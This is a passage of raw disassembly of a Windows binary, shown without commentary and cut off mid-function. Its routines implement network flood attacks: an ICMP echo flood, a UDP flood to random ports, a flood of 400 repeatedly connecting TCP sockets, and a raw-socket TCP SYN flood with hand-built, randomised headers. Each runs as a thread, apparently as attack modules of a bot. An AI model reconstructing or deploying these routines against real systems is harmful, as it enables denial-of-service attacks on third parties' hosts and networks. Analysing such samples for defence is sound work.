		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_44CCF0
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41EC30
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_413B0E
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409C75
		add	esp, 14h

loc_413B0E:				; CODE XREF: sub_413740+3ACj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415A3C
		push	[ebp+var_38]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4F53A0	; ExitThread
sub_413740	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B2B	proc near		; DATA XREF: sub_401C87+55ADo

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_41EF80
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		xor	edi, edi
		inc	edi
		mov	[eax+120h], edi
		call	dword_4E3010	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4E30C8	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_413B86
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4E310C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_413B8C

loc_413B86:				; CODE XREF: sub_413B2B+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_413BE9

loc_413B8C:				; CODE XREF: sub_413B2B+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_44CD38
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_413BCC
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_409C75
		add	esp, 14h

loc_413BCC:				; CODE XREF: sub_413B2B+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_415A3C
		push	[ebp+var_30]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4F53A0	; ExitThread

loc_413BE9:				; CODE XREF: sub_413B2B+5Fj
		cmp	eax, ebx
		jz	short loc_413BF9
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_413BFC
; ---------------------------------------------------------------------------

loc_413BF9:				; CODE XREF: sub_413B2B+C0j
		mov	[ebp+var_4], esi

loc_413BFC:				; CODE XREF: sub_413B2B+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_41E4B0
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_413C1C
		mov	[ebp+var_3C], eax

loc_413C1C:				; CODE XREF: sub_413B2B+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_413C24
		mov	[ebp+var_38], edi

loc_413C24:				; CODE XREF: sub_413B2B+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_413C51

loc_413C2B:				; CODE XREF: sub_413B2B+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_4E2FA0	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_413C2B

loc_413C51:				; CODE XREF: sub_413B2B+FEj
		push	[ebp+arg_0]
		call	dword_4E313C	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_44CD60
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_413C9A
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_409C75
		add	esp, 14h

loc_413C9A:				; CODE XREF: sub_413B2B+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_415A3C
		push	[ebp+var_30]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread
sub_413B2B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413CB7	proc near		; DATA XREF: sub_401C87+5803o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_41EF80
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+120h], esi
		call	dword_4F537C	; GetTickCount
		push	eax
		call	sub_41EB60
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_4E3108	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4E30C8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_413D9C
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_4E310C	; gethostbyname
		cmp	eax, edi
		jnz	short loc_413D95
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_44CD8C
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_413D78
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_409C75
		add	esp, 14h

loc_413D78:				; CODE XREF: sub_413CB7+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_415A3C
		push	[ebp+var_20]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread

loc_413D95:				; CODE XREF: sub_413CB7+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_413D9F
; ---------------------------------------------------------------------------

loc_413D9C:				; CODE XREF: sub_413CB7+6Ej
		lea	eax, [ebp+arg_0]

loc_413D9F:				; CODE XREF: sub_413CB7+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_413DBA
		call	sub_41EB70
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_413DBD
; ---------------------------------------------------------------------------

loc_413DBA:				; CODE XREF: sub_413CB7+F0j
		push	[ebp+var_24]

loc_413DBD:				; CODE XREF: sub_413CB7+101j
		call	dword_4E3088	; htons
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_413DCF
		mov	[ebp+var_24], esi

loc_413DCF:				; CODE XREF: sub_413CB7+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_413DDC
		mov	[ebp+var_24], eax

loc_413DDC:				; CODE XREF: sub_413CB7+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_413DF0
		mov	[ebp+var_28], esi

loc_413DF0:				; CODE XREF: sub_413CB7+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_413E69

loc_413DF7:				; CODE XREF: sub_413CB7+158j
		call	sub_41EB70
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_413DF7
		jmp	short loc_413E69
; ---------------------------------------------------------------------------

loc_413E13:				; CODE XREF: sub_413CB7+1B5j
		dec	[ebp+var_30]
		push	0Bh
		pop	esi

loc_413E19:				; CODE XREF: sub_413CB7+192j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_41EB70
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_4E30EC	; sendto
		push	[ebp+var_28]
		call	dword_4F534C	; Sleep
		dec	esi
		jnz	short loc_413E19
		cmp	[ebp+var_24], edi
		jnz	short loc_413E69
		call	sub_41EB70
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_4E3088	; htons
		mov	[ebp+var_E], ax

loc_413E69:				; CODE XREF: sub_413CB7+13Ej
					; sub_413CB7+15Aj ...
		cmp	[ebp+var_30], edi
		jg	short loc_413E13
		dec	[ebp+var_30]
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_44CDB4
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_413EB1
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_409C75
		add	esp, 14h

loc_413EB1:				; CODE XREF: sub_413CB7+1D8j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_415A3C
		push	[ebp+var_20]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4F53A0	; ExitThread
sub_413CB7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413ECE	proc near		; DATA XREF: sub_401C87+4E73o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_414024
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_44CDE0
		push	eax
		call	sub_41EA60
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_413F4B
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_409C75
		add	esp, 14h

loc_413F4B:				; CODE XREF: sub_413ECE+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415A3C
		push	[ebp+var_10]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_413ECE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F6A	proc near		; CODE XREF: sub_414024+27p

var_654		= dword	ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4E3088	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_414020
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h

loc_413FB4:				; CODE XREF: sub_413F6A+B2j
		xor	esi, esi

loc_413FB6:				; CODE XREF: sub_413F6A+77j
		push	0
		push	1
		push	2
		call	dword_4F553C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+esi*4+var_654], eax
		jz	short loc_413FDE
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	dword_4F5514	; ioctlsocket

loc_413FDE:				; CODE XREF: sub_413F6A+62j
		inc	esi
		cmp	esi, edi
		jl	short loc_413FB6
		xor	esi, esi

loc_413FE5:				; CODE XREF: sub_413F6A+91j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	[ebp+esi*4+var_654]
		call	dword_4F5530	; connect
		inc	esi
		cmp	esi, edi
		jl	short loc_413FE5
		push	64h
		call	dword_4F534C	; Sleep
		xor	esi, esi

loc_414007:				; CODE XREF: sub_413F6A+ADj
		push	[ebp+esi*4+var_654]
		call	dword_4F5538	; closesocket
		inc	esi
		cmp	esi, edi
		jl	short loc_414007
		dec	[ebp+arg_4]
		jnz	short loc_413FB4
		pop	edi
		pop	esi

loc_414020:				; CODE XREF: sub_413F6A+3Ej
		xor	eax, eax
		leave
		retn
sub_413F6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_414024	proc near		; CODE XREF: sub_413ECE+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AD91
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41E710
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41E710
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_413F6A
		add	esp, 18h
		test	eax, eax
		jnz	short loc_414058
		inc	eax

loc_414058:				; CODE XREF: sub_414024+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_414024	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414067	proc near		; DATA XREF: sub_401C87+64F5o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4143B4
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_44CE0C
		push	eax
		call	sub_41EA60
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4140E4
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_409C75
		add	esp, 14h

loc_4140E4:				; CODE XREF: sub_414067+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415A3C
		push	[ebp+var_10]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_414067	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414103	proc near		; CODE XREF: sub_4143B4+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4E2FF8	; WSAStartup
		test	eax, eax
		jz	short loc_414143
		xor	eax, eax
		jmp	loc_414387
; ---------------------------------------------------------------------------

loc_414143:				; CODE XREF: sub_414103+37j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4E312C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_41437F
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4E3068	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_414375
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4E3088	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4E3088	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4E3088	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4E3088	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	dword_4F540C	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4F5408	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_421180
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_41422E:				; CODE XREF: sub_414103+25Dj
					; sub_414103+269j
		mov	[ebp+var_24], bx
		call	sub_41EB70
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4E3088	; htons
		mov	[ebp+var_34], ax
		call	sub_41EB70
		mov	edi, eax
		shl	edi, 10h
		call	sub_41EB70
		or	edi, eax
		push	edi
		call	dword_4E3088	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4E3084	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4E3088	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41FBF0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41FBF0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF06
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41FBF0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41FBF0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF06
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41FBF0
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4E30EC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41438B
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4F5408	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_414372
		jl	loc_41422E
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jb	loc_41422E

loc_414372:				; CODE XREF: sub_414103+25Bj
		mov	ebx, [ebp+arg_8]

loc_414375:				; CODE XREF: sub_414103+78j
					; sub_414103+2AFj
		push	[ebp+var_C]
		call	dword_4E3120	; closesocket
		pop	esi

loc_41437F:				; CODE XREF: sub_414103+5Bj
		call	dword_4E2FE0	; WSACleanup
		mov	eax, ebx

loc_414387:				; CODE XREF: sub_414103+3Bj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41438B:				; CODE XREF: sub_414103+247j
		call	dword_4E301C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_44CE34
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415A3C
		add	esp, 10h
		jmp	short loc_414375
sub_414103	endp


; =============== S U B	R O U T	I N E =======================================



sub_4143B4	proc near		; CODE XREF: sub_414067+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AD91
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41E710
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41E710
		mov	edi, eax
		call	sub_41EB70
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_414103
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4143FD
		inc	eax

loc_4143FD:				; CODE XREF: sub_4143B4+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4143B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41440C	proc near		; DATA XREF: sub_401C87+6E5Do

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41E710
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4E30C8	; inet_addr
		push	eax
		call	sub_4144AD
		push	eax
		lea	eax, [ebp+var_394]
		push	offset dword_44CE54
		push	eax
		call	sub_41EA60
		xor	esi, esi
		add	esp, 14h
		cmp	[ebp+var_8], esi
		jnz	short loc_41448E
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_409C75
		add	esp, 14h

loc_41448E:				; CODE XREF: sub_41440C+60j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_415A3C
		push	[ebp+var_10]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_41440C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4144AD	proc near		; CODE XREF: sub_41440C+41p

var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_88], 0
		push	4
		and	[ebp+var_58], 0
		pop	esi
		xor	ecx, ecx
		push	6
		inc	ecx
		pop	edx
		mov	ebx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_54]
		mov	[ebp+var_84], ecx
		mov	[ebp+var_80], 2
		mov	[ebp+var_7C], esi
		mov	[ebp+var_78], edx
		mov	[ebp+var_74], 8
		mov	[ebp+var_70], 0Ch
		mov	[ebp+var_6C], 11h
		mov	[ebp+var_68], 16h
		mov	[ebp+var_64], 29h
		mov	[ebp+var_60], 3Ah
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_50], eax
		stosd
		lea	edi, [ebp+var_2C]
		mov	[ebp+var_4C], eax
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], 2000h
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], edx
		mov	[ebp+var_38], 3FFFh
		mov	[ebp+var_34], ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_28], ecx
		stosd

loc_414542:				; DATA XREF: .packed:004547E0o
		mov	edi, 100h
		push	edi
		call	sub_420C30
		pop	ecx
		mov	[ebp+var_4], eax
		push	edi
		push	eax
		call	dword_4E309C	; gethostname
		push	[ebp+var_4]
		call	dword_4E310C	; gethostbyname
		mov	eax, [eax+0Ch]
		push	ebx
		push	3
		push	2
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		call	dword_4E3108	; socket
